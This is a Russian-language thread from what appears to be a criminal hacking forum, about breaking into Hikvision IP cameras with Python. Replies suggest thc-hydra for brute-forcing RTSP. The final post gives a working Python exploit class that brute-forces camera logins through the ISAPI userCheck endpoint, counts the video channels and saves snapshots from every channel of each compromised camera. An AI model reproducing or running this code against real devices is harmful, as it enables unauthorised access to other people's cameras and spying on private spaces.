• XSS.stack #1 – первый литературный журнал от юзеров форума

Hikivision (IP) + Python?

GrafDeLaFer

RAID-массив
Пользователь
Регистрация
17.02.2024
Сообщения
62
Реакции
19
Депозит
0.0002
Есть ли вариант допрыгнуть к доступу IP хики через питон?
Через C#\плюсы есть софтина скучей дллок, но это всё не то.
Хотелось бы вот доскочить через Python, но успехов не много.

Юзаю сейчас hikvisionapi. Он добивает, но только те, которые имеют выход на админ-панельку веб.
 
ТС, если реализуешь. Скинь код, интересно посмотреть.
внезапно

Python:
import requests
from requests.auth import HTTPBasicAuth

# Указываем IP устройства Hikvision, имя пользователя и пароль
ip_address = 'http://192.168.1.100'  # пример IP
username = 'admin'
password = 'your_password'

# Формируем URL для API запросов (пример для получения информации о камере)
url = f"{ip_address}/ISAPI/System/status"

# Делаем GET запрос с базовой аутентификацией
response = requests.get(url, auth=HTTPBasicAuth(username, password))

# Проверяем статус ответа
if response.status_code == 200:
    print("Успешное подключение!")
    print(response.text)  # Выводим информацию о статусе устройства
else:
    print(f"Ошибка подключения: {response.status_code}")
 
внезапно

Python:
import requests
from requests.auth import HTTPBasicAuth

# Указываем IP устройства Hikvision, имя пользователя и пароль
ip_address = 'http://192.168.1.100'  # пример IP
username = 'admin'
password = 'your_password'

# Формируем URL для API запросов (пример для получения информации о камере)
url = f"{ip_address}/ISAPI/System/status"

# Делаем GET запрос с базовой аутентификацией
response = requests.get(url, auth=HTTPBasicAuth(username, password))

# Проверяем статус ответа
if response.status_code == 200:
    print("Успешное подключение!")
    print(response.text)  # Выводим информацию о статусе устройства
else:
    print(f"Ошибка подключения: {response.status_code}")
Не сказал бы что панацея. Речь идёт конкретно за коннект к железке, а тут всё равно по вебу. Такая же шляпа с RTSP :(
Особо решений не много.
 
Не сказал бы что панацея. Речь идёт конкретно за коннект к железке, а тут всё равно по вебу. Такая же шляпа с RTSP :(
Особо решений не много.
не помню умеет ли thc-hydra по ртсп работаь, хотя и запрос написать, думаю, особо трудностей не составит
 
Есть ли вариант допрыгнуть к доступу IP хики через питон?
Через C#\плюсы есть софтина скучей дллок, но это всё не то.
Хотелось бы вот доскочить через Python, но успехов не много.

Юзаю сейчас hikvisionapi. Он добивает, но только те, которые имеют выход на админ-панельку веб.

Вот пример который kerberos дал

Код:
import requests
from requests.auth import HTTPDigestAuth
from xml.etree import ElementTree

from loguru import logger

from .base import POCTemplate


class HikvisionWeakPassword(POCTemplate):

    def __init__(self, config):
        super().__init__(config)
        self.name = self.get_file_name(__file__)
        self.product = config.product['hikvision']
        self.product_version = ''
        self.ref = ''
        self.level = POCTemplate.level.medium
        self.desc = """"""
        self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}

    def verify(self, ip, port=80):
        for user in self.config.users:
            for password in self.config.passwords:
                try:
                    r = requests.get(
                        url=f"http://{ip}:{port}/ISAPI/Security/userCheck",
                        auth=(user, password),
                        timeout=self.config.timeout,
                        headers=self.headers,
                        verify=False
                    )
                    if r.status_code == 200 and 'userCheck' in r.text and 'statusValue' in r.text and '200' in r.text:
                        return ip, str(port), self.product, str(user), str(password), self.name
                except Exception as e:
                    logger.error(e)
        return None

    def exploit(self, results):
        ip, port, product, user, password, vul = results
        channels = 1
        try:
            res = requests.get(
                f"http://{ip}:{port}/ISAPI/Image/channels",
                auth=HTTPDigestAuth(user, password),
                headers=self.headers,
                timeout=self.config.timeout,
                verify=False
            )
            channels = len(ElementTree.fromstring(res.text))
        except Exception as e:
            logger.error(e)

        # 获取每个通道的图片
        res_list = []
        for channel in range(1, channels + 1):
            url = f"http://{ip}:{port}/ISAPI/Streaming/channels/{channel}01/picture"
            img_file_name = f"{ip}-{port}-channel{channel}-{user}-{password}.jpg"
            res_list.append(
                self._snapshot(url, img_file_name, auth=HTTPDigestAuth(user, password))
            )
        return sum(res_list)


POCTemplate.register_poc(HikvisionWeakPassword)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх